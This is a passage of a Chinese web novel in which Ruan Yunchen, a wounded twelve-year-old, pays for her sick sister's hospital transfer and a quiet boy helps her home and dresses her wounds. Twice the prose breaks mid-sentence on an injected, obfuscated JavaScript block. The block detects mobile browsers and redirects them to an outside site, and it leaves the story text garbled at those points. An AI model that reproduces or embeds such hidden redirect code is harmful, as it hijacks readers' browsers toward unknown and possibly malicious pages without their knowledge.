他没有说话,但目光始终落在她的肩膀上,那双眼睛里没有什么多余的情绪,既不慌乱,也没有同情。 阮云琛的目光落在他的手上,那几根细瘦的手指骨节分明,指尖还沾着些擦不干净的油污。她沉默了几秒,低下了头。 “我没时间。”她说。 男孩张了张口,却没发出声音。 阮云琛试图对他笑笑,但努力了许久,嘴角也只是扯出了一个难看的弧度。 她垂下眼,地上是凌乱的泥点和散落的石子,那儿有几滴不知是谁的血迹,深色的斑点干涸在灰白的地面上。她的脚轻轻向前挪了一下,鞋底贴着地面滑过,发出一声轻响。 “我先走了。”她开口,语调低缓——那已经用尽了她所有的气力。 背后静默无声,没有脚步追上来,也没有人说话。那片安静让她松了一口气,也让她感到更加疲惫。 “等一下。” 男孩突然出了声,紧跟着便是鞋底碾过石子的动静。阮云琛愣了下,忽地,一包皱巴巴的湿纸巾被递到了眼前。 那是最廉价的超市货,却被保存得格外完好,干净的、整洁的,甚至还未拆包。 “擦擦吧。”他说,声音低得像是一片叶子飘落在地,却带着某种不容置疑的笃定。 阮云琛扫了一眼那包湿纸巾,没接,也没回答。风从巷口吹过,带着凉意,拂过她肩膀上的伤口,疼得让人清醒了一瞬。 “用不着。”她开口,语气平淡得听不出情绪。 男孩依旧没有收回手。他的目光缓缓落在她肩膀上那片深红色,平静得如一潭湖水,无风无波。 “会被警察拦下来的。”他说。 阮云琛心里微微一震。她的目光不自觉地在他脸上多停了一秒,像是想从那双平静的眼睛里看出些什么。但男孩的神色像是湖面般平滑,没有半点波澜。 风吹过巷口,带着一丝清晨的湿寒,拂过她肩膀上的伤口,那刺骨的疼痛让她清醒了一瞬。 ——他知道。 阮云琛的脑子里冒出了这个念头,但她立刻甩开了它。 她没有问,也没时间问。 阮云琛咬紧牙,伸出手接过那包湿纸巾,动作略显迟疑,但最终还是握住了那张薄薄的塑料包装。 她没有多看男孩,手一松就把湿纸巾塞进了外套的口袋里。 “谢谢。”她说。 男孩没有再追上来。 巷子安静得出奇,阮云琛环顾四周,发现刚刚那些吵闹的脚步声像是一场幻觉,被清晨的风一吹,什么也没留下。 阳光越过工厂区破损的墙壁洒进来,将地上的阴影拉得更长。斑驳的光点间透着寒意,仿佛在提醒她,夜晚还未完全过去。 阮云琛站在原地,半张着嘴,吐出的气在空气里化成了一小团白雾。冷风从她身上单薄的背心边缘灌进来,贴着汗湿的皮肤滑过肋骨,凉得刺骨。 她低下头,看着手里那包皱巴巴的湿纸巾,塑料包装上的反光在她眼前微微晃动。 她的手指动了动,捏紧,又放开。 阮云琛低头撕开包装,掏出一张湿纸巾。纸巾上带着一股廉价的消毒水味,阮云琛忍不住笑了一声。 她也不知道自己为什么要笑。 她甚至有些不明白自己现在在做什么。 精神钝钝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856165|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神智恍惚,她只觉得自己的身体仿佛在僵硬地执行着什么刻板的程序:走、快走,走去诊所,去找医生。 手上的血迹早已干涸,粘在皮肤上,纸巾擦上去时带起了隐隐的刺痛感,像是一层薄壳被硬生生撕开。每一下摩擦都让伤口火烧火燎地痛着,仿佛皮肤的每一根神经都在尖叫。 她咬紧牙,动作却始终没有放慢。湿纸巾很快被血迹染成了暗红色,阮云琛又抽出下一张,继续擦拭手臂和肩膀,直到勉强把外露的血迹擦干净为止。 擦完之后,阮云琛将用过的湿纸巾攥成一团丢到地上,随后从布袋里掏出了雨衣。 雨衣的布料上干结的血迹早已硬成了一层薄薄的壳,摸上去粗糙得让她心里发紧。 冷风贴着她肩膀上湿润的伤口钻进去,她忍不住打了个寒战,但没有再犹豫,把雨衣披在身上,拉上拉链。阮云琛随后戴上了鸭舌帽和口罩,把脸藏了起来。 她抬眼看了一下路边玻璃窗里倒映出的模糊身影。雨衣遮住了她的大半身体,口罩藏住了她的表情,同样也遮住了所有的伤口。 她知道,自己这副模样很可疑——但没办法。 她并不想被医生看出不对劲,更不想把自己好不容易为淼淼攒够了的转院费,去浪费在自己身上。 诊所的门还没有完全打开,清晨的风便卷着一阵消毒水味迎面而来。 阮云琛站在门外,抬手捏了捏口罩边缘,试图调整呼吸。她的指尖微微颤抖,但这细微的动作被藏在了雨衣的袖口里。 门口的玻璃窗映出她的影子,帽檐压得很低,几乎看不清脸。雨衣上的血迹被湿纸巾简单擦过,虽然不明显,但走得近了还是能瞧见那些红色的印子在昏黄的灯光下透出淡淡的阴影。 “来干什么?”诊所的前台抬头看了一眼,声音里没有太多情绪,像是在习惯了这种无声的疲惫。 阮云琛没有回答,直接走向柜台,把布袋往桌上一放。布袋口系得很紧,前台的目光在那块布上停了一秒,然后挑了挑眉。 “转院手续......我来办转院手续。”她低声说,声音被口罩挡住,显得有些闷。 前台的女人一愣,随后将布袋拿过去,随手打开了一角。 纸币的边缘露了出来,带着些皱折。前台眉头轻皱了一下,又很快恢复了惯有的冷漠。 “哪个病房?”女人问。 “三号病房,12床,阮淼淼。”阮云琛的声音有些哑。 前台点了点头,又看了阮云琛一眼,却没再多问。 她把布袋拉开了些,快速清点起来。 钱的数量不算太少,但面值零散,里头还有一张临时储蓄卡——这显然是临时凑出来的。 前台女人的动作很快,手指灵活地翻过每一张钞票,随后她把储蓄卡放在刷卡机上划了一道,叫阮云琛输了密码。 直到那几乎有三个脑袋那么大的电脑缓慢地读出卡里的余额时,前台女人才用一种难以捉摸的眼神瞥了阮云琛一眼,拨通了电话。 几分钟后,一个穿着白大褂的男人从内室走了出来。 他的眼角带着红血丝,显然刚从短暂的休息中被叫了出来。他随手拿起前台护士递来的文件,低头翻看了几页,然后抬起头,目光在阮云琛的脸上停留了片刻,皱起了眉头。 尽管她戴着帽子和口罩,但那不经意间从袖口露出来的红肿的手指却暴露了一切——阮云琛指关节全是细小的淤伤。 医生的眉头微微皱了一下。 27. 回家 医生想要开口,但很快又闭上了嘴,像是衡量了一下,最终是懒得多问。 阮云琛没有给他更多时间犹豫,率先打断了他:“我没事。” 医生顿了顿,抬起了眼,透过上面半边没被镜片遮住的空隙看了她半天,最终还是开了口:“像你这样的,带着伤折腾到现在,能撑着走到这里就已经不容易了。可伤口这样拖下去会发炎,你怕是不知道,感染了要命。” “......先救我妹妹。”阮云琛答得很快,语气硬得像一块石头。 医生又看了她一眼,像是想说什么,但最终只是叹了口气,将一叠表格递了过来:“填上这些,病人会被安排转院。” 阮云琛点点头,接过表格,走到角落的桌子旁坐下。她的手指攥着笔,有一瞬间不知道该怎么开始。 肩膀上的疼痛像是一把锥子,不断扎进骨头深处,每呼吸一下都能带起一阵火辣辣的痛感。 诊所里开着暖气,空气闷热,像是将她整个人包裹在一层黏腻的湿布中,连带着伤口也开始隐隐发胀。那种胀痛从肩膀蔓延到胸腔,像是有一只手在里面用力挤压,每一下都让人几乎喘不过气。 血已经不流了,但衣服黏在皮肤上的感觉却更让人难受。汗顺着脖颈滑下来,和伤口渗出的液体混在一起,刺得皮肤像被火烧一样。 阮云琛站在柜台旁,觉得自己快要被这闷热的空气压垮了。口罩里闷着自己的呼吸,温热的气息一股股地冲进鼻腔,再随着心跳一起往头顶涌,烧得耳朵发烫。 布袋已经空了,钱全交给了诊所。阮云琛的手指死死攥着空空的布头,指甲却透过布料掐进了掌心,没有松开,不敢松开。 肩膀上的绷带随着她的动作微微拉扯,疼痛仿佛是某种催化剂,逼得她更加用力地咬紧牙关。 她不敢松懈——哪怕只有一秒。 起码......就算要昏倒,也得是在诊所外头。 手续办完时,诊所的走廊已经渐渐热闹起来。有人推着病床从她身边经过,轮子碾过地板的声音刺耳得让她的太阳穴狠狠跳了一下。 白大褂在走廊里来回穿梭,轻声的脚步和低语混杂成一片模糊的嗡鸣。她站在门口,隔着一扇玻璃门看着淼淼被推上担架,医生交代着转院后的注意事项,声音像是从很远的地方飘过来。 “手术有一定的风险,术后恢复也需要时间,尤其是肺功能这种情况,随时可能出现突发状况……” 阮云琛努力地想要听着,医生的声音却像是从遥远的天边传来。 她的目光停留在淼淼的脸上,那个女孩安安静静地躺着,手里攥着一只小小的布偶熊——那是阮云琛头一次攒够了钱送给淼淼的生日礼物。 哪怕那个时候已经是她生日又过去了三个月。 淼淼的呼吸带着微弱的起伏,嘴角却微微翘着,像是在梦里见到了什么好东西。 担架被推过阮云琛身边时,淼淼的眼皮微微动了动,勉强睁开了一条缝。她的目光有些涣散,等看清是阮云琛时,嘴角的弧度又深了些。 “姐……”淼淼的声音轻得像羽毛,“我梦到你变成了超级英雄,打败了邪恶的外星人,你打架的样子……特别帅。” 阮云琛愣了一下,嘴唇动了动,最后只是伸手替她拉了拉被子。 “帅什么帅,”她的声音不大,却带着一种少见的柔和,“好好休息。” “可是姐姐就是帅嘛。”淼淼撅起了嘴,眼睛睡得肿肿的——又或许是胃疼,哭了,哭肿的。 阮云琛不知道。 她也不敢想。 “姐姐是全世界最帅的女人!”淼淼嘿嘿笑了笑,又闭上了眼睛,带着一丝安心的笑容沉沉睡去。 阮云琛扯了扯嘴角。 她从来没把狼狈的样子带回家过。 更没有告诉过淼淼自己每天都在外面做些什么。 对于阮淼淼来说,她的姐姐阮云琛是个能满足她一切愿望的大人,哪怕那个“大人”也才只有十二岁。 邻居们总喜欢三言两语地说阮云琛不知道去打了什么黑工,竟然能供得起淼淼读小学,也能给自己买足够的初中书本在家习读,淼淼每次听到,都会叉着腰跳出去说:“我姐姐是超级英雄,每天都要出去拯救世界,超级英雄的工资当然很高喽!” 邻居们听了唏嘘,阮云琛听了苦笑。 是啊。 ——“超级英雄”。 那位所谓的“超级英雄”,每天都在收着可怜人的债款。 那位所谓的“超级英雄”,每天都在做着丧尽天良的坏事。 那位所谓的“超级英雄”,还要拿着灰色地带赚到的灰色钱款,去救她的性命。 医院的走廊安静得只有呼吸声和脚步声,阮云琛站在走廊尽头,靠着墙,目光投向窗外。天已经大亮,阳光穿过玻璃洒在地板上,却像是隔了一层薄薄的雾,落不到她的身上。 她的身体已经疲惫到了极限,骨头像散了架一样,连站着都费力。但她始终没有让自己靠下去。 她闭了闭眼,抬起头深吸了一口气。 不能倒下,至少现在不能。 几秒后,她缓缓直起身子,拖着脚步离开了医院。 阮云琛从医院的大门走了出来,冰冷的空气扑面而来,刺得她打了个寒颤。 冬日的阳光挂在半空,明晃晃的,却像一盏没有温度的灯,洒在脸上只让她更清醒了一点。 肩膀的疼痛一波波袭来,每一步都像踩在薄冰上,随时可能崩塌。阮云琛用力将手插进口袋,试图捂住一丝仅存的体温。 路边的小摊刚刚支起,老板裹着厚厚的棉衣,将一摞冒着热气的包子放进保温箱。 香气顺着冷风飘来,钻进阮云琛的鼻腔,却没有激起她半点胃口,反而让胃里那点疲软的酸意更重了一些。 她低着头,沿着人行道慢慢走着,脚步声踩在路面的裂痕里,清脆得像冬天破碎的冰面。她的眼皮越来越沉,思绪断断续续,几次差点撞到路边停放的车。 风从耳边穿过,像是带着刀锋,将她冻得僵硬的脸颊刺得生疼。阮云琛的脚步有些摇晃,她的身体不听使唤了,每一步都像踩在棉花上,软得快要陷下去。 她的脑子一片混沌,像是被什么湿漉漉的东西堵住了,想不出什么,也不想去想。眼前的路模模糊糊的,耳朵里充斥着自己的喘息声,还有隐隐约约的嗡鸣,像是在被黑暗撕扯着。 她忽然觉得冷。 不是肩膀上裂开的伤口传来的疼痛,也不是冻僵的双手,而是浑身上下都被抽空了一样,轻飘飘的,好像随时会倒下。她试图抓住点什么,可脑子里除了一个字,什么也没有。 ——“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862273|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去。” 她不知道这句话是对自己说的,还是哪来的声音在耳边喊。脚下的路摇摇晃晃,她却本能地往前迈了一步,甚至不知道自己还能不能撑到下一步。 风把外套的下摆卷了起来,狠狠拍在冻得发疼的小腿上,她低头看了一眼自己肿胀发紫的双手。 关节的疼痛已经被疲惫压得麻木了,只是裂开的地方隐隐作痛,像是提醒她它们的存在。 ——快到家了。 这个念头不知道是怎么冒出来的,甚至来得毫无意义。她只知道,如果现在让自己停下来,她大概再也站不起来了。 阮云琛狠狠地咬了下嘴唇,试图加快步伐,但双腿像灌了铅似的沉重,她只觉得脚下一软,几乎要绊倒自己。 她低头看了一眼地面,发现那不过是路边普通的砖缝,却让她的脚踝像是被什么东西扯了一下似的。 她停顿了几秒,深吸了一口气,重新迈开步子。 眼前的景象开始有些模糊了。 像被一层薄薄的水雾罩着,什么也看不清。 阮云琛狠狠地眨了眨眼,强迫自己的神经重新紧绷起来。 她的身体几乎已经不受控制了。 还不行。 ——还没到家。 如果在这里倒下,要么会有人报警,要么会被人送去医院。 报警,警察就会发现她和淼淼不在福利院,会发现她偷偷赚着黑钱,会察觉到她这些年来的一切挣扎,都是站在规则的尖刀上。 福利院的档案记录会被翻出来,尘封的红色“失踪”印戳将所有事暴露在光天化日下。 到那时,淼淼会被带走,而她自己的结局,不用多想都知道会是什么。 而医院呢? ——医院。 白得刺眼的灯光,嘈杂的推车声,还有医生冰冷的语气——她从不属于那样的地方。医药费? 高昂到让人绝望的数字,会让她连跨进大门的勇气都被剥夺。她好不容易抢来的钱,刚才已经被全部押上去,换回了淼淼的命。可现在,她没有第二份筹码。 阮云琛的手指摸到外套的边缘,口袋里甚至连零钱都没有,只剩下几枚硬币。 肩膀的伤口像一张撕开的旧口子,每走一步,疼痛就像一根烧红的针扎进骨头深处。血液早已浸透纱布,沿着手臂凝成干涸的痕迹,但那份湿凉的触感提醒她——不能倒下。 不可以停。 风从街道的尽头吹来,带着些腥气和冬日的寒冷。 阮云琛的脚步慢慢变得踉跄,却仍然硬生生地往前挪动着,像是拖着一具没有意识的身体,凭借着仅剩的意志强撑下去。 “喂丫头!你没事吧?” 早餐店的老板犹豫了几下才出了声,却在看见阮云琛满脸的伤口时打了个激灵,直直移开了目光,咕哝了句不知道哪儿的方言,转头就回店里摆弄桌椅去了,仿佛触了什么霉头。 阮云琛扯着嘴角笑了笑。 她也不知道自己在笑什么。 她甚至控制不住自己的身体,不知道自己还能不能真的走回家去。 “再忍一忍,”她对自己说,声音低得几乎听不见,“马上就到家了。” 可就在拐过巷口的一瞬间,她的脚步忽然停住了。 桥下的阴影里,站着一个熟悉的身影。 28. 理智的线 男孩就那样站在废铁堆旁,手里拎着一个塑料袋,脸上的灰尘依然没有擦干净。他抬起头的动作很慢,目光在她脸上停了一秒,没有说话。 风吹起男孩额前的碎发,阮云琛愣在了那里,疲惫像一层厚厚的雾压在她的肩膀上。喉咙里像是卡着什么东西,终于让她的意识在短短一瞬间完全清醒过来。 他为什么在这里? 他为什么还在这里? 她的手手垂在身侧,攥紧了又松,松了又紧,阮云琛低下头,目光落在他手里的塑料袋上——纱布、酒精,还有几块折得方方正正的纱片,全是简单的急救用品。 “你……”阮云琛想开口,却没能发出声音。她的声音低哑得像是被砂纸磨过,但话只说了一个字,就再也接不上来。 男孩没有说话,只是把塑料袋拎起来了一点点。他的手微微有些颤抖,可能是冻的,也可能是因为紧张。 阮云琛低着头,目光落在男孩手中的塑料袋上。纱布和酒精的白色包装像是某种突兀的安静,与她脑海里翻腾的混乱格格不入。 “为什么?”她心里闪过这个问题,却很快被另一道更深的声音压了下去。 为什么他会在这里等她? 为什么他又会帮她? 先是给她送了纱布酒精,再是去地下拳场看了比赛,接着是假装警察来了助她脱困,再是在这儿等她—— 等不知道什么时候回来的她,拿着那不算便宜的酒精,和干净的纱布。 男孩的目光不带任何逼迫,甚至没有多余的情绪,但正是这种平静,像一根细长的针,轻而易举地刺穿了她心里那层防备的壳。 疼痛和疲惫已经把她逼到绝境,而这种没有理由的善意让她感觉更加无措。 他在这里等了多久? 阮云琛的目光落在男孩的脸上,那张还带着灰尘的脸显得干净又倔强,像是从废铁堆里生出的意外——没有刻意的柔软,却比废铁更难打磨。 她的脑子混乱得像是漏了风,所有的思绪都乱成了破碎的片段,每一个问题都没有答案,却又像无声的尖刺扎进她的胸口。 ——他在等我…… 这个念头一闪而过,随之而来的不是温暖,而是更深的惶恐。 阮云琛的手指下意识地攥紧,指甲几乎要刺破掌心。她明明清楚自己需要帮助,可她不能,也不敢接受。 过去的经历教会了她,别人的好意总是带着条件的,无论表面看上去多么干净。 可她...... 对,她得拒绝。 她得拒绝才是。 阮云琛抬起头,喉咙动了一下,话却没有说出口。 她的肩膀隐隐发抖,伤口的疼痛像是一把钝刀,搅碎了她最后的抵抗。心里有个声音在喊着:“不能信,不能依赖。” “我……”她终于开口,声音轻得像一片羽毛,“不用了。” 话刚出口,她就后悔了。 那个字听起来轻飘飘的,却带着一种无法挽回的固执。她低下头,不再去看男孩的脸。肩膀的疼痛让她不得不微微倾斜着身体,那动作看起来更像是她在妥协。 男孩没有开口,只是站在那里,也没走,也没前进。 他只是举着那只装满了处理伤口的药物的塑料袋,什么也没说。 阮云琛缓了缓,最终才慢慢抬头。她的目光再次落在塑料袋上,又是纱布、酒精,还有他手指上那抹掩不住的细微颤抖。 阮云琛忽地发现,自己已经几乎没有力气去坚持这个“不能”。 她快站不稳了。 失血、困顿、疼痛、身体的麻木、冷。 紧绷了三天三夜的神经在将钱交托给诊所的那一瞬间起,就骤然松了开来。 破碎的身体一旦松开了那根吊着一口气的线,便很难再次组合起来。 好疼,好累,好疼...... 伤口,好疼。 浑身都疼。 阮云琛感到一种巨大的空虚在她胸腔中膨胀。她低着头,肩膀的疼痛像是刀子,在她每一次呼吸之间缓缓地割裂开来。 她的指尖早已失去了知觉,冷风带来的刺痛感变得遥远,就像被隔着一层薄雾。 她知道自己不能倒下,可是现在,她却找不到那根撑住自己的理由了。 钱已经交出去了,淼淼的转院手续也办完了。她最重要的任务已经完成,可是为什么,她反而觉得身体里空了一块? 一步一步走到这里,她像一只沿着细绳攀爬的虫子,爬过悬崖,终于落在了安全地带,可她的四肢还在颤抖,像是害怕那个已经消失的深渊。 没人会拉她一把,她从来都知道。她一路过来,靠的只有自己,可是这次,为什么会觉得,好像连“靠自己”这件事都撑不住了? 脚下踩着冻硬的地面,身体的重量却像是沉入了某种无形的泥潭。她忽然很想停下,停在这里,不再走下去。 可是没有用,停下来了又能怎样? 风从桥底吹过,掀起一阵凉意。 阮云琛的目光又落回男孩手里的塑料袋,那点干净得有些刺眼的白色让她愣住了几秒。那种干净让她几乎恼怒,因为它和她的世界完全格格不入。 她垂下眼,手指攥紧,所有的疲惫和冷都化作了一种尖锐的钝痛,一点一点从胸口往外挤压。 阮云琛想问:“你为什么在这里?” 可是她问不出口。 这个问题太奢侈,太脆弱,她甚至不敢去想。他为什么要等她?他为什么站在那里?他怎么会看得出她需要帮助?他凭什么? 她突然意识到,这世上竟然会有人站在黑夜的尽头,等着给她递来一卷纱布和一瓶酒精。而她从来没有想过这样的可能。 一阵无声的恍惚掠过她的脑海,像是把那些刚刚萌生的质疑和拒绝,轻轻地推到了边缘。 “能......扶我一下吗?”她的声音几乎听不见,像是风刮过一道裂缝。 说出口的瞬间,她自己都愣了一下。意识到自己在请求一个陌生人帮忙时,她的第一反应是防备,可这个时候,竟有一种奇怪的释然。 仿佛那些刺和荆棘被轻轻拨开了一条窄窄的缝。 男孩点了点头。 他没有多问,也没有多言语,就只是缓缓抬起手,动作轻得像是在扶住一块随时可能碎掉的玻璃。 阮云琛本能地绷紧了身体,微微偏了一下肩膀,像是想要避开,但脚下的步子刚刚一动,就失去了平衡。 那只手搭上了她的手臂。 她没推开。 温度透过破烂的袖子传过来,是冷的,却比风更柔软些。她的目光落在自己的脚尖上, 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那些暖衣饱食的人都尚且不会有半点善心,这般和她一样——对,和她一样饔飧不继的孩子——他甚至没有一间能遮风挡雨的帐篷,又为何会对一个陌生人善良? 男孩像是听懂了她没说出口的话,微微侧了一下头,目光很淡,却不躲闪。他低声开口:“你给了我十块饼干。” “葡萄干味儿的。”他说。 阮云琛的呼吸卡在了喉咙口。 她的目光轻轻动了一下,扫向男孩的脸。 男孩低垂着眼睛,神色平静得像是在陈述一件无关紧要的小事,语气里也听不出一点情绪。 可阮云琛却从这短短的几个字眼儿里听出了一点别的东西——感激?温暖?还是其他她无法具体描述的东西? 她的呼吸稍稍急促了一些,像是这几个字忽然在胸腔里搅起了一阵不大不小的波澜。 可这波澜很快被一阵剧烈的疼痛压了下去。肩膀像是被铁钳狠狠地攥住,每呼吸一次,那种被撕裂的钝痛就会顺着脊柱一节节往下砸,砸进四肢百骸。 她咬紧牙,想撑住自己摇摇欲坠的身体,可双腿像是被灌了铅,挪不动,也站不稳。风卷过来,她能感受到自己的身体已经在不由自主地往旁边倾。 男孩的声音又响了起来,低低的,像是在风里落了一片树叶:“你还好吧?” 他没有刻意靠近,可手上的力道稳稳地托住了她。那动作既不像出于多余的同情,也不像是在逞强。只是安静地、自然地存在着,就像空气,就像她此刻赖以喘息的一切。 “……还好。”她的声音很轻,却也低得像是风中的一句虚言。 肩膀上的疼痛和寒冷压得她几乎喘不过气来,脚下的步子已经难以为继。她明明想咬牙忍下去,却又在极限崩溃中,感受到自己的一口气正一点点散掉。 “我站不住了……”她声音低哑得几乎听不见,像是一片被风卷走的叶子。 男孩沉默了一瞬,目光扫过她的脸,又落回地面。他没回答,只是稍稍用力,把她扶得更稳了些。 阮云琛咬着牙,不想让自己的身体压得太重,可肩膀上撕裂的伤口像是不断蔓延的裂缝,疼得让她几乎要脱力。 “能……”她闭了闭眼,声音低得像是从喉咙深处挤出来的,“能把我送回家吗?” 29. 昏睡 昏暗的房间里,窗帘被风轻轻吹动,漏进来一丝薄薄的夕阳。阮云琛慢慢睁开眼,视线里模糊的光线晃得她不由得眯了眯眼。 她仰躺在床上,呼吸间带着疲惫和些许麻木,脑袋沉得像是浸了水,连一个完整的念头都拼不出来。 四周安静得可怕,只有墙壁传来几声断断续续的风响,像是提醒她还活着。 阮云琛没动,身体像被床垫牢牢按住一样,沉重到她无法动弹。肩膀上的疼痛随着清醒一点点袭来,刺痛、钝痛、撕扯的感觉混在一起,让她忍不住皱了皱眉。 阮云琛动了动手指,试图撑起自己的身体。 肩膀上的钝痛像是埋在骨头里的针,随着她的动作而刺了出来。她倒吸了一口凉气,整个人顿时清醒了几分。 屋子里很安静,静得能听见风穿过窗缝的声音,像是微弱的喘息,一阵阵交叠在耳边。 可刚撑起一半,肩膀处的剧痛便像一块千斤重的石头狠狠砸了下来,逼得她不得不重新瘫倒下去。 她的指尖发着抖,脸上却没什么表情,只是用手捂住了肩膀,静静地喘息了片刻。 终于,阮云琛再次咬紧牙,手撑着床沿,一点点将自己的上半身挪了起来。 冷汗顺着额角滑下,她低头看着自己的双手,指关节因为用力泛着白,裂口处的血迹已经干涸,但那里缠着纱布——缠得不算精致,却紧紧地贴合着伤口。 她的目光缓缓移向桌子。 纱布叠得整整齐齐,酒精瓶摆在一旁,旁边还有几块折得方方正正的纱片,全都透着一种克制的安静。空气里带着药酒的味道,混合着冬日的寒意,刺进了她的鼻腔。 果露在外的伤口,全都处理过了。 这个念头像一块石头砸进湖里,泛起了她脑海中一圈圈晕开的水纹。 ——那个小孩。 那个在桥下递给她塑料袋的小孩。 她看见他的影子在脑海里一闪而过——细瘦的手指捏着纱布,微微下垂的眼睑,淡漠又小心的神色。 他什么时候离开的? 阮云琛低垂的视线在桌面停留了一会儿,又落回到自己身上。贴身的衣服已经皱巴巴的,几处还沾着干涸的血迹,而那些藏在衣物下的伤口……显然没人碰过。 她抬手按住肩膀处的包扎,力气不轻不重,但足以让疼痛从伤口渗出来,再顺着皮肤的神经一路烧到胸口,最后炸开在脑海深处。 房间里依旧安静得像是隔绝了一切,她的目光缓缓扫过桌上的纱布,最后落在窗帘的一角。 窗外的风似乎更冷了,她的意识却逐渐清醒起来。三天三夜高强度的搏斗和奔波让她的身体濒临崩溃,但意识却在这种冷静里显得格外清晰。 撑着膝盖站起来时,阮云琛的动作仍然缓慢。骨头的酸软和钝痛像警钟一样敲响,她用尽了力气才迈出第一步,挪到窗前,将窗帘掀开一角。 屋外的天色正在变暗,像是天边晕开了一层浑浊的墨迹,夕阳却在最后一刻洒下些许光芒,照在她的手上。 电话机上的时间显示在周六晚上五点半......阮云琛愣了愣。 她竟然......睡了两天一夜。 阮云琛咬着牙抬起了手,目光落在纱布上,沉默了片刻。 他现在在哪? 窗边寒冷的风从未完全合上的缝隙里灌了进来,拂过脸颊,带着一丝冰凉。 阮云琛扶着窗台站了一会儿,目光落在窗外渐暗的天色上。夕阳的最后一点光芒染红了远处的天边,楼下的街道上几乎没有人,只有冷风卷起枯叶,发出沙沙的响声。 她愣愣地呆了会儿,转过身,走到水池边,用冷水草草地拍了几把脸。 刺骨的水温让她的脸颊有了一点活人的血色,阮云琛抬起了头,看着镜子里的自己——脸色苍白,嘴角开裂,额头边缘有几处青紫,就像一个被扔进风里揉搓过的破布娃娃。 她握紧了手边的窗框,指节泛白,片刻后缓缓松开。 阮云琛闭上眼,深吸了一口气,逼自己从那种模糊的情绪中抽离出来。 可这种努力并没有成功,反而让她的脑海中闪过男孩拎着塑料袋站在桥下时的模样,那双瘦小而沾满油污的手指,还有他平静又有些倔强的目光。 不行...... 别想了。 她得......她得去医院看看淼淼。 淼淼醒来后如果看不到她......一定会着急的。 阮云琛猛地甩了甩头,拉开门走了出去。 冬日的寒风直直地扑过来,像一把毫无情绪的刀,削过她的脸颊和脖颈。阮云琛下意识地缩了缩脖子,手探进外套口袋里,触碰到口袋底部残留的粗糙布料。 风的冰凉刺骨,顺着衣物的缝隙钻进来,让她清醒了一点。 脚下的楼梯有些窄,铁质的扶手因为长期无人维护,上面积着一层薄薄的冰霜,握上去像碰到了一块冻铁。阮云琛的手没有伸过去,她只踩着台阶,慢慢往下走。 楼梯上的鞋底和铁板接触时发出闷响,一步、两步,回荡在楼道里,冷风的低鸣也被压得更沉了些。 她的手刚碰上冰凉的楼梯扶手,楼下传来一阵轻快的脚步声。 阮云琛停住脚步,微微皱了皱眉,转头一看,程一冉正从楼下走上来,肩上背着一个有点破旧的书包,书包带子有些松垮,垂着一角。 “你……”程一冉愣了一下,目光在她脸上扫了一圈,眉头轻轻皱了起来,“你怎么了?” 阮云琛不说话,手指握紧了扶手。 她知道她的脸上一定是青一块紫一块,嘴角的伤也很明显,藏是藏不住的。可她不想回答,也不想在这种地方和谁多说一句话。 “没事。”她终于开了口,声音低哑,“磕了一下。” 程一冉的脚步慢了下来。阮云琛瞥了一眼她的脸,发现她似乎还想再问,但却硬生生把话咽了回去。她的目光停在阮云琛脸上,像是想确认什么,半晌后才收回了视线。 “……哦。”程一冉点了点头,站在原地没有动。 空气里忽然静得出奇,只有楼梯间微弱的风声,还有楼下隐约传来的汽车喇叭声。阮云琛觉得这种安静让人有些不自在,就像是一道强行压下的叹息,或者一句被生生截断的话。 她往旁边让了一步,手离开扶手,低声说了一句:“你先上吧。” 程一冉愣了愣,抬头看了她一眼,嘴唇动了动,但最后什么也没说,抬脚上楼。她的脚步很轻,但每一步都踩在木质楼梯的边缘,带出一点细碎的声响。 阮云琛知道邻居们总在议论她。 议论她,议论淼淼,议论她家。 这些声音藏在门缝里,藏在巷道的阴影里,藏在每一次她经过楼梯间时被迅速掩上的门后面。话总是从缝隙里钻出来,时隐时现,像是冬天刮过墙角的冷风,一阵阵地往人骨头里钻。 “听说那丫头最近连学校都不上了,天天在外面晃悠,也不知道搞什么名堂。” “她哪有什么正经事干?不学好呗,她家那情况还能指望什么?” “早知道是这种命,生出来干啥呢?” “唉,淼淼可怜啊,小小年纪生这种病,也就姐姐一个人撑着。但她姐,啧……你看她那样,能撑多久?” 有人小声提过阮云琛的父亲,声音低得像怕惊动什么不该提的东西:“她爸……不是被人捅死的么?” “听说是别人闯家里闹事儿,惹了人,命苦得很。” “也有说是自己家里闹的,谁知道呢?那家人的事儿……哎,都乱七八糟的。” 偶尔有人提起阮云琛的母亲。那声音带着几分惋惜,却更多的是隔岸观火的冷漠:“她妈当年身子骨就不好,还生了两个孩子,最后累死的吧?” “活活熬没的。” “家里那男人打她,她忍一辈子,最后还不是……” 这些话就像风干在墙上的污迹,久了也成了一种习惯,没有人试图擦掉,也没有人真正关心。 阮云琛听过,程一冉肯定也听过。 她妈妈万秀的面摊那儿每天都有几个人坐在旁边吃面聊天,她妈妈偶尔也会加入进去,高谈阔论。 她知道这些声音的根源,不是厌恶,也不是同情,而是某种无法根治的窥探欲。 那些人靠着议论别人的人生,填补自己的平庸日子。越是破碎的家庭,越能成为他们茶余饭后的话题。她不是第一次听,也不会是最后一次听。 阮云琛可以装作没听过,她向来装得很好。 但程一冉没那个本事,她装不出没听过的模样。 程一冉似乎总有一种莫名的执拗,那种明知道热脸贴了冷屁股也要再往上凑一凑的执拗。 